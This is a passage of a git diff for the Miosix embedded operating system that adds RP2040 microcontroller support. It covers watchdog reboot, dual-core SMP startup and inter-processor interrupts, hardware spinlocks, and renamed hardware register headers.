* + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + //Reset via the watchdog + psm_hw->wdsel=PSM_WDSEL_PROC0_BITS|PSM_WDSEL_PROC1_BITS; + watchdog_hw->ctrl|=WATCHDOG_CTRL_TRIGGER_BITS; + //Shouldn't reach here! + for(;;) ; +} + +} // namespace miosix diff --git a/miosix/arch/chip/rp2040/interfaces-impl/serial_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..c1f91164a --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/rp2040_serial.h" diff --git a/miosix/arch/chip/rp2040/interfaces-impl/smp.cpp b/miosix/arch/chip/rp2040/interfaces-impl/smp.cpp new file mode 100644 index 000000000..9ebdd3040 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/smp.cpp @@ -0,0 +1,264 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/smp.h" + +#ifdef WITH_SMP + +#include "kernel/thread.h" +#include "interfaces_private/os_timer.h" +#include "interfaces/arch_registers.h" +#include "interfaces/cpu_const.h" +#include "interfaces_private/cpu.h" +#include "interfaces_private/mpu.h" +#include "interfaces/cache.h" +#include "kernel/error.h" +#include "arch/cpu/common/cortexMx_interrupts.h" + +// System mode stack size for core 1 +#define CORE1_SYSTEM_STACK_SIZE 0x200 +// Stringification macros used for embedding the above macro in assembly code +#define XSTR(a) STR(a) +#define STR(a) #a + +namespace miosix { + +char __attribute__((aligned(8))) core1SystemStack[CORE1_SYSTEM_STACK_SIZE]; + +static void fifoDrain() +{ + while(sio_hw->fifo_st & SIO_FIFO_ST_VLD_BITS) + (unsigned int)sio_hw->fifo_rd; +} + +static bool fifoSend(unsigned long s) +{ + // Send + while(!(sio_hw->fifo_st & SIO_FIFO_ST_RDY_BITS)) ; + sio_hw->fifo_wr=s; + __SEV(); + // Read back and check the value is the same + while(!(sio_hw->fifo_st & SIO_FIFO_ST_VLD_BITS)) ; + unsigned long r=sio_hw->fifo_rd; + return s==r; +} + +static unsigned long fifoReceive() +{ + // Read the new value + while(!(sio_hw->fifo_st & SIO_FIFO_ST_VLD_BITS)) __WFE(); + unsigned long r=sio_hw->fifo_rd; + // Send the value back for acknowledgment + while(!(sio_hw->fifo_st & SIO_FIFO_ST_RDY_BITS)) ; + sio_hw->fifo_wr=r; + return r; +} + +struct IPIFlags +{ + enum + { + InvokeScheduler = 1, + CallOnCore = 2, + HangUp = 4 + }; +}; +struct IPICall +{ + void (*func)(void *); + void *arg; + Thread *waiting; +}; +unsigned char flags[2]; +IPICall invocations[2]; + +void IRQinterProcessorInterruptHandler(void *arg) +{ + FastGlobalLockFromIrq dLock; + if(sio_hw->fifo_st & (SIO_FIFO_ST_ROE_BITS|SIO_FIFO_ST_WOF_BITS)) + { + // Interrupt was triggered by a fifo error, clear the error. + // This can happen if IRQinvokeSchedulerOnCore() is called way too + // many times in rapid succession. + sio_hw->fifo_st &= ~(SIO_FIFO_ST_ROE_BITS|SIO_FIFO_ST_WOF_BITS); + } + // Flush the FIFO + fifoDrain(); + // Check what we have to do + unsigned char coreId = getCurrentCoreId(); + if(flags[coreId] & IPIFlags::InvokeScheduler) IRQinvokeScheduler(); + if(flags[coreId] & IPIFlags::CallOnCore) + { + IPICall& inv=invocations[coreId]; + inv.func(inv.arg); + inv.waiting->IRQwakeup(); + inv.waiting=nullptr; + } + if(flags[coreId] & IPIFlags::HangUp) + { + FastGlobalUnlockFromIrq dUnlock(dLock); + for(;;) __WFE(); + } + // Clear the flags + flags[coreId]=0; +} + +__attribute__((naked)) void initCore1() +{ + asm volatile( + "cpsid i \n" //Disable interrupts + "mrs r0, msp \n" + "msr psp, r0 \n" //Use current stack as PSP + "ldr r0, =_ZN6miosix16core1SystemStackE+" XSTR(CORE1_SYSTEM_STACK_SIZE) "\n" + "msr msp, r0 \n" //Select correct MSP + "movs r0, #2 \n" //Privileged, process stack + "msr control, r0 \n" //Activate PSP + "isb \n" //Required when switching stack + "bl _ZN6miosix20IRQcontinueInitCore1Ev\n" //Continue core 1 init + ); +} + +__attribute__((noreturn)) void IRQcontinueInitCore1() +{ + // Read main function info from FIFO + void (*f)()=reinterpret_cast(fifoReceive()); + // Kernel-level W^X, cache configuration, and userspace memory protection. + // We use the same code from boot.cpp for core 0 initialization + IRQenableMPU(); + // Enable cache after the MPU since in Cortex-M CPUs the MPU driver + // also configures cacheability + IRQenableCache(); + // Initialize all interrupts to a default priority + NVIC_SetPriority(SVCall_IRQn,defaultIrqPriority); + NVIC_SetPriority(PendSV_IRQn,defaultIrqPriority); + NVIC_SetPriority(SysTick_IRQn,defaultIrqPriority); + const unsigned int numInterrupts=MIOSIX_NUM_PERIPHERAL_IRQ; + for(unsigned int i=0;i(i),defaultIrqPriority); + // Register IPI (FIFO) interrupt handler for core 1 + IRQregisterIrqOnCurrentCore(SIO_IRQ_PROC1_IRQn,IRQinterProcessorInterruptHandler,nullptr); + // Register timer interrupt handler for core 1 + IRQosTimerInitSMP(); + // Clear fifo status flags and pending interrupt flag to avoid spurious + // interrupts on core 1 side + sio_hw->fifo_st=0; + NVIC_ClearPendingIRQ(SIO_IRQ_PROC1_IRQn); + // Enable SEVONPEND for core 1, needed for spinlocks that still allow + // for interrupt servicing + SCB->SCR|=SCB_SCR_SEVONPEND_Msk; + // Signal to the other core that we are done with setup + __DSB(); + (unsigned long)sio_hw->spinlock[HwLocks::RP2040InitCoreSync]; + // Call the main function, which shouldn't return. If it does, hang up + f(); + for(;;) ; +} + +void IRQinitSMP(void *const stackPtrs[], void (*const mains[])()) noexcept +{ + // Ensure the core setup end spinlock is not taken + sio_hw->spinlock[HwLocks::RP2040InitCoreSync]=1; + __DSB(); + // Send FIFO commands for the bootrom core idling mechanism + for(;;) + { + fifoDrain(); + __SEV(); + if(!fifoSend(0)) continue; + fifoDrain(); + __SEV(); + if(!fifoSend(0)) continue; + if(fifoSend(1)) break; + } + unsigned long vtor=SCB->VTOR; + unsigned long psp=reinterpret_cast(stackPtrs[0]); + unsigned long pc=reinterpret_cast(&initCore1); + if(!fifoSend(vtor)) errorHandler(Error::UNEXPECTED); + if(!fifoSend(psp)) errorHandler(Error::UNEXPECTED); + if(!fifoSend(pc)) errorHandler(Error::UNEXPECTED); + // Send main function address and args, which will be read by + // IRQcontinueInitCore1 + unsigned long fp=reinterpret_cast(mains[0]); + if(!fifoSend(fp)) errorHandler(Error::UNEXPECTED); + // Register IPI (FIFO) interrupt handler for core 0 + IRQregisterIrqOnCurrentCore(SIO_IRQ_PROC0_IRQn,IRQinterProcessorInterruptHandler,nullptr); + // Register timer interrupt handler for core 0 + IRQosTimerInitSMP(); + // Clear fifo status flags and pending interrupt flag to avoid spurious + // interrupts on core 0 side + sio_hw->fifo_st=0; + NVIC_ClearPendingIRQ(SIO_IRQ_PROC0_IRQn); + // Enable SEVONPEND for core 0, needed for spinlocks that still allow + // for interrupt servicing + SCB->SCR|=SCB_SCR_SEVONPEND_Msk; + // Wait until core 1 is done + __DSB(); + while(!(sio_hw->spinlock_st & (1<spinlock[HwLocks::RP2040InitCoreSync]=1; +} + +void IRQinvokeSchedulerOnCore(unsigned char core) noexcept +{ + // We should check if the core is the one we're currently running on but + // the caller code already does so + //if(core==getCurrentCoreId()) { IRQinvokeScheduler(); return; } + // If not, trigger the IPI + flags[core]|=IPIFlags::InvokeScheduler; + __DSB(); + sio_hw->fifo_wr=0; +} + +void IRQcallOnCore(GlobalIrqLock& lock, unsigned char core, void (*f)(void *), + void *arg) noexcept +{ + // Is this already the right core? + if(core==getCurrentCoreId()) { f(arg); return; } + // If there is a pending call on core, panic because this is impossible + if(flags[core]&IPIFlags::CallOnCore) errorHandler(Error::UNEXPECTED); + // Save the invocation which will be read by the call on core later + invocations[core].func=f; + invocations[core].arg=arg; + invocations[core].waiting=Thread::IRQgetCurrentThread(); + // Trigger the IPI and wait for it to be served + flags[core]|=IPIFlags::CallOnCore; + __DSB(); + sio_hw->fifo_wr=0; + do { + Thread::IRQglobalIrqUnlockAndWait(lock); + } while(invocations[core].waiting); +} + +void IRQlockupOtherCores() noexcept +{ + flags[1-getCurrentCoreId()]|=IPIFlags::HangUp; + __DSB(); + sio_hw->fifo_wr=0; +} + +} // namespace miosix + +#endif //WITH_SMP diff --git a/miosix/arch/chip/rp2040/interfaces-impl/smp_locks_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/smp_locks_impl.h new file mode 100644 index 000000000..69463d3d4 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/smp_locks_impl.h @@ -0,0 +1,134 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" + +#ifdef WITH_SMP + +#include "interfaces/interrupts.h" + +namespace miosix { + +namespace HwLocks +{ + enum + { + RP2040Atomics = KernelMax, // Mutual exclusion of atomic operations + RP2040InitCoreSync // Used at the end of SMP setup to synchronize the cores + }; +}; + +inline void irqDisabledHwIrqLockAcquire(HwLocks::ID i) noexcept +{ + for(;;) + { + if(sio_hw->spinlock[i]) break; + __WFE(); + } + __DSB(); +} + +inline void irqDisabledHwIrqLockRelease(HwLocks::ID i) noexcept +{ + hwLockRelease(i); +} + +inline void irqDisabledHwLockAcquire(HwLocks::ID i) noexcept +{ + for(;;) + { + // If we fail taking the spinlock, and then a preemption happens before + // the WFE, we might not wake immediately on spinlock release if + // some other other code elsewhere absorbed the SEV. + // This corner case looks like this on a timeline: + // core 0 core 1 + // t=0: sio_hw->spinlock[i]==0 + // t=1: context switch to other thread + // t=2: SEV in hwSpinlockRelease + // t=3: other thread does a WFE, wakes up + // t=4: context switch to original thread + // t=5: WFE in hwSpinlockAcquire should + // wake up immediately but doesn't + // As a workaround we disable interrupts locally (preventing preemption) + // between the access to the spinlock and the WFE. + // Normally, however, this would prevent servicing interrupts + // while the WFE is waiting. Fortunately ARM provides the SEVONPEND + // flag, which makes the SCB generate a SEV if interrupts become + // pending. With this flag set, WFE terminates on interrupts even with + // interrupts disabled, which allows us to re-enable interrupts + // temporarily and service them. + fastDisableIrq(); + if(sio_hw->spinlock[i]) break; + // This WFE executes with interrupts disabled but will wake up on any + // pending IRQ because the SEVONPEND SCB flag has been set during boot. + __WFE(); + // Service pending interrupts (if any) by allowing them briefly. + fastEnableIrq(); + fastDisableIrq(); + } + __DSB(); +} + +inline void irqDisabledHwLockRelease(HwLocks::ID i) noexcept +{ + hwLockRelease(i); +} + +inline void hwLockAcquire(HwLocks::ID i) noexcept +{ + fastDisableIrq(); + irqDisabledHwLockAcquire(i); + fastEnableIrq(); +} + +// This code works even with interrupts disabled +inline void hwLockRelease(HwLocks::ID i) noexcept +{ + sio_hw->spinlock[i]=1; + __DSB(); + __SEV(); + // Put a compiler memory barrier after SEV for good measure + asm volatile("":::"memory"); + // A word of warning. GCC 9.2.0 has been observed reordering + // __DSB(); + // sio_hw->spinlock[i]=1; + // __SEV(); + // fastEnableIrq(); + // into + // __SEV(); + // fastEnableIrq(); + // sio_hw->spinlock[i]=1; + // __DSB(); + // which is weird because both __DSB() and fastEnableIrq() clobber memory + // and thus should prevent reordering. +} + +} // namespace miosix + +#endif // WITH_SMP diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/README.md b/miosix/arch/chip/rp2040/rp2040/README.md similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/README.md rename to miosix/arch/chip/rp2040/rp2040/README.md diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/boards/pico.h b/miosix/arch/chip/rp2040/rp2040/hardware/boards/pico.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/boards/pico.h rename to miosix/arch/chip/rp2040/rp2040/hardware/boards/pico.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/boards/pico_w.h b/miosix/arch/chip/rp2040/rp2040/hardware/boards/pico_w.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/boards/pico_w.h rename to miosix/arch/chip/rp2040/rp2040/hardware/boards/pico_w.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/platform.h b/miosix/arch/chip/rp2040/rp2040/hardware/platform.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/platform.h rename to miosix/arch/chip/rp2040/rp2040/hardware/platform.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/properties.h b/miosix/arch/chip/rp2040/rp2040/hardware/properties.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/properties.h rename to miosix/arch/chip/rp2040/rp2040/hardware/properties.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/adc.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/adc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/adc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/adc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/addressmap.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/addressmap.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/addressmap.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/addressmap.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/busctrl.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/busctrl.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/busctrl.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/busctrl.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/clocks.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/clocks.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/clocks.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/clocks.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/dma.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/dma.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/dma.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/dma.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/dreq.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/dreq.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/dreq.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/dreq.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/i2c.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/i2c.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/i2c.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/i2c.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/intctrl.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/intctrl.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/intctrl.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/intctrl.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/io_bank0.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/io_bank0.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/io_bank0.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/io_bank0.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/io_qspi.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/io_qspi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/io_qspi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/io_qspi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/m0plus.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/m0plus.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/m0plus.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/m0plus.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pads_bank0.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/pads_bank0.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pads_bank0.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/pads_bank0.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pads_qspi.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/pads_qspi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pads_qspi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/pads_qspi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pio.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/pio.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pio.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/pio.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pll.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/pll.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pll.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/pll.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/psm.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/psm.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/psm.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/psm.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pwm.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/pwm.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/pwm.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/pwm.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/resets.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/resets.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/resets.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/resets.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/rosc.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/rosc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/rosc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/rosc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/rtc.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/rtc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/rtc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/rtc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/sio.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/sio.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/sio.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/sio.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/spi.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/spi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/spi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/spi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/ssi.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/ssi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/ssi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/ssi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/syscfg.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/syscfg.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/syscfg.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/syscfg.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/sysinfo.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/sysinfo.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/sysinfo.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/sysinfo.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/tbman.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/tbman.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/tbman.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/tbman.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/timer.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/timer.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/timer.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/timer.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/uart.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/uart.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/uart.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/uart.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/usb.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/usb.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/usb.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/usb.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/usb_device_dpram.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/usb_device_dpram.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/usb_device_dpram.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/usb_device_dpram.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/vreg_and_chip_reset.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/vreg_and_chip_reset.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/vreg_and_chip_reset.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/vreg_and_chip_reset.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/watchdog.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/watchdog.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/watchdog.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/watchdog.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/xip.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/xip.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/xip.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/xip.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/xosc.h b/miosix/arch/chip/rp2040/rp2040/hardware/regs/xosc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/regs/xosc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/regs/xosc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/rp2040.h b/miosix/arch/chip/rp2040/rp2040/hardware/rp2040.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/rp2040.h rename to miosix/arch/chip/rp2040/rp2040/hardware/rp2040.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/adc.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/adc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/adc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/adc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/bus_ctrl.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/bus_ctrl.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/bus_ctrl.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/bus_ctrl.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/clocks.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/clocks.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/clocks.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/clocks.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/dma.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/dma.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/dma.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/dma.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/i2c.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/i2c.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/i2c.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/i2c.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/interp.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/interp.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/interp.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/interp.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/iobank0.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/iobank0.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/iobank0.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/iobank0.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/ioqspi.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/ioqspi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/ioqspi.h rename to 